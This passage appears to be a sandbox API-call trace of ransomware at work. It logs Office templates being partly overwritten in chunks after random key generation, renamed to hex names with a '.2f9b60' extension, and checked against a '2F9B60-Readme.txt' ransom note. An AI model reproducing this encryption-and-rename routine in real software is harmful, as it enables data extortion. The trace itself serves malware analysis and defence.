[0112.790] WriteFile (in: hFile=0xedc, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3579f780, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x3579f780*=0x3c00, lpOverlapped=0x0) returned 1 [0112.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0112.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df1d40) returned 1 [0112.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20262240 [0112.792] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.792] WriteFile (in: hFile=0xedc, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3579f830, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x3579f830*=0x102, lpOverlapped=0x0) returned 1 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0112.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628d0) returned 1 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0112.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262990) returned 1 [0112.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0112.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20262990 [0112.795] sprintf (in: _Dest=0x20262990, _Format="%c%c" | out: _Dest="39") returned 2 [0112.795] sprintf (in: _Dest=0x20262992, _Format="%c%c" | out: _Dest="57") returned 2 [0112.795] sprintf (in: _Dest=0x20262994, _Format="%c%c" | out: _Dest="19") returned 2 [0112.795] sprintf (in: _Dest=0x20262996, _Format="%c%c" | out: _Dest="bf") returned 2 [0112.795] sprintf (in: _Dest=0x20262998, _Format="%c%c" | out: _Dest="4d") returned 2 [0112.795] sprintf (in: _Dest=0x2026299a, _Format="%c%c" | out: _Dest="2e") returned 2 [0112.795] sprintf (in: _Dest=0x2026299c, _Format="%c%c" | out: _Dest="26") returned 2 [0112.795] sprintf (in: _Dest=0x2026299e, _Format="%c%c" | out: _Dest="d7") returned 2 [0112.795] sprintf (in: _Dest=0x202629a0, _Format="%c%c" | out: _Dest="18") returned 2 [0112.795] sprintf (in: _Dest=0x202629a2, _Format="%c%c" | out: _Dest="58") returned 2 [0112.795] sprintf (in: _Dest=0x202629a4, _Format="%c%c" | out: _Dest="a8") returned 2 [0112.795] sprintf (in: _Dest=0x202629a6, _Format="%c%c" | out: _Dest="fb") returned 2 [0112.795] sprintf (in: _Dest=0x202629a8, _Format="%c%c" | out: _Dest="c0") returned 2 [0112.795] sprintf (in: _Dest=0x202629aa, _Format="%c%c" | out: _Dest="a1") returned 2 [0112.795] sprintf (in: _Dest=0x202629ac, _Format="%c%c" | out: _Dest="58") returned 2 [0112.795] sprintf (in: _Dest=0x202629ae, _Format="%c%c" | out: _Dest="dd") returned 2 [0112.795] RtlInitAnsiString (in: DestinationString=0x3579f8a8, SourceString="395719bf4d2e26d71858a8fbc0a158dd" | out: DestinationString="395719bf4d2e26d71858a8fbc0a158dd") [0112.795] RtlAnsiStringToUnicodeString (in: DestinationString=0x3579f878, SourceString="395719bf4d2e26d71858a8fbc0a158dd", AllocateDestinationString=1 | out: DestinationString="395719bf4d2e26d71858a8fbc0a158dd") returned 0x0 [0112.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0112.796] wcscat (in: _Dest=0x1b85cba0, _Source="395719bf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\395719bf") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\395719bf" [0112.796] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\395719bf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\395719bf.2f9b60" [0112.796] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\395719bf.2f9b60", NtPathName=0x3579f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\395719bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.796] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x3579f8f0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.798] NtQueryInformationFile (in: FileHandle=0xedc, IoStatusBlock=0x3579f8b8, FileInformation=0x3579f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3579f8b8, FileInformation=0x3579f8c8) returned 0x0 [0112.798] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x3579f8b8, FileInformation=0x3579f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.800] FlushFileBuffers (hFile=0xedc) returned 1 [0112.801] CloseHandle (hObject=0xedc) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.804] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.804] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868b40) returned 1 Thread: id = 1133 os_tid = 0xda8 [0112.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx")) returned 0x20 [0112.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx", dwFileAttributes=0x20) returned 1 [0112.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0112.833] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x3592f820 | out: lpFileSize=0x3592f820*=168990) returned 1 [0112.833] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x2941a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.833] ReadFile (in: hFile=0x1600, lpBuffer=0x3592f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3592f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3592f7a0*, lpNumberOfBytesRead=0x3592f7e8*=0x4, lpOverlapped=0x0) returned 1 [0112.850] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87a0 [0112.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8740 [0112.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.851] NtQuerySystemTime (in: CurrentTime=0x3592f6e0 | out: CurrentTime=0x3592f6e0*=132462177183178000) returned 0x0 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x6b80764a [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x2e5a8a4f [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x3da73a9e [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x5811e659 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x3547e175 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x2b84e403 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x7ba13040 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x4eaa9b32 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x499974e7 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x156d0ab2 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x373633fd [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x384ae04d [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x1ab00f36 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x2a9d03df [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x30d1b79 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x1a0fa793 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x39b4a20d [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x113f4268 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x1d90fd31 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x231d651 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x801c198 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x160d814 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x7c21ba80 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x2e569a68 [0112.851] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x32777d28 [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x54dd8f2e [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x14ff31e9 [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x1639d3df [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x4de477d0 [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x6bb5e2e9 [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0xe95bab4 [0112.852] RtlRandomEx (in: Seed=0x3592f6d0 | out: Seed=0x3592f6d0) returned 0x723cd643 [0112.863] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.863] ReadFile (in: hFile=0x1600, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3592f740, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3592f740*=0x3c00, lpOverlapped=0x0) returned 1 [0112.865] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0112.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87a0 [0112.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a87a0) returned 1 [0112.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87a0 [0112.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8620) returned 1 [0112.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0112.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.867] WriteFile (in: hFile=0x1600, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3592f740, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x3592f740*=0x3c00, lpOverlapped=0x0) returned 1 [0147.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0147.867] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.868] ReadFile (in: hFile=0x1600, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3592f740, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3592f740*=0x3c00, lpOverlapped=0x0) returned 1 [0147.988] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0147.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0147.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42380d80 [0147.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0147.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0147.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0147.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.990] WriteFile (hFile=0x1600, lpBuffer=0x42380d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3592f740, lpOverlapped=0x0) [0179.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42380d80) returned 1 [0179.937] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x2581e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.937] ReadFile (in: hFile=0x1600, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3592f740, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3592f740*=0x3c00, lpOverlapped=0x0) returned 1 [0182.054] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x2581e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef70 [0182.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ef70) returned 1 [0182.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423500b0 [0182.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef70 [0182.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2efa0 [0182.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2efa0) returned 1 [0182.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.057] WriteFile (in: hFile=0x1600, lpBuffer=0x423500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3592f740, lpOverlapped=0x0 | out: lpBuffer=0x423500b0*, lpNumberOfBytesWritten=0x3592f740*=0x3c00, lpOverlapped=0x0) returned 1 [0198.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423500b0) returned 1 [0198.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f980 [0198.760] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.760] WriteFile (in: hFile=0x1600, lpBuffer=0x1b86f6b0*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x3592f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1b86f6b0*, lpNumberOfBytesWritten=0x3592f7f0*=0x15c, lpOverlapped=0x0) returned 1 [0203.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0203.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262450) returned 1 [0203.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5e0f0 [0203.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0203.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0203.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0203.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b7cea00 [0203.704] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="56") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="fd") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="7c") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="e3") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="b4") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="0f") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="02") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="23") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="57") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="ff") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="a5") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="6e") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="c6") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="75") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="f5") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="1b") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="20") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="a6") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="32") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="a9") returned 2 [0203.704] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="e7") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="01") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="49") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="6e") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="09") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="e3") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="d4") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="43") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="74") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="aa") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="e9") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="44") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="ad") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="f9") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="14") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="a1") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="f1") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea4c, _Format="%c%c" | out: _Dest="db") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea4e, _Format="%c%c" | out: _Dest="f5") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea50, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.705] sprintf (in: _Dest=0x1b7cea52, _Format="%c%c" | out: _Dest="45") returned 2 [0203.705] RtlInitAnsiString (in: DestinationString=0x3592f868, SourceString="56fd7ce3b40f022357ffa56ec675f51b20a6a832a9e701496e09e3d44374aae944adf914a1f1dbf55c45" | out: DestinationString="56fd7ce3b40f022357ffa56ec675f51b20a6a832a9e701496e09e3d44374aae944adf914a1f1dbf55c45") [0203.705] RtlAnsiStringToUnicodeString (in: DestinationString=0x3592f838, SourceString="56fd7ce3b40f022357ffa56ec675f51b20a6a832a9e701496e09e3d44374aae944adf914a1f1dbf55c45", AllocateDestinationString=1 | out: DestinationString="56fd7ce3b40f022357ffa56ec675f51b20a6a832a9e701496e09e3d44374aae944adf914a1f1dbf55c45") returned 0x0 [0203.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4311b320 [0203.706] wcscat (in: _Dest=0x43131170, _Source="56fd7ce3b40f022357ffa" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\56fd7ce3b40f022357ffa") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\56fd7ce3b40f022357ffa" [0203.706] wcscat (in: _Dest=0x43131170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\56fd7ce3b40f022357ffa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\56fd7ce3b40f022357ffa.2f9b60" [0203.706] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\56fd7ce3b40f022357ffa.2f9b60", NtPathName=0x3592f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\56fd7ce3b40f022357ffa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205ef50 Thread: id = 1134 os_tid = 0xff0 [0112.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx")) returned 0x20 [0112.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx", dwFileAttributes=0x20) returned 1 [0112.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xedc [0112.869] GetFileSizeEx (in: hFile=0xedc, lpFileSize=0x35b1fb40 | out: lpFileSize=0x35b1fb40*=192754) returned 1 [0112.869] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x2f0ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.869] ReadFile (in: hFile=0xedc, lpBuffer=0x35b1fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35b1fb08, lpOverlapped=0x0 | out: lpBuffer=0x35b1fac0*, lpNumberOfBytesRead=0x35b1fb08*=0x4, lpOverlapped=0x0) returned 1 [0112.871] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 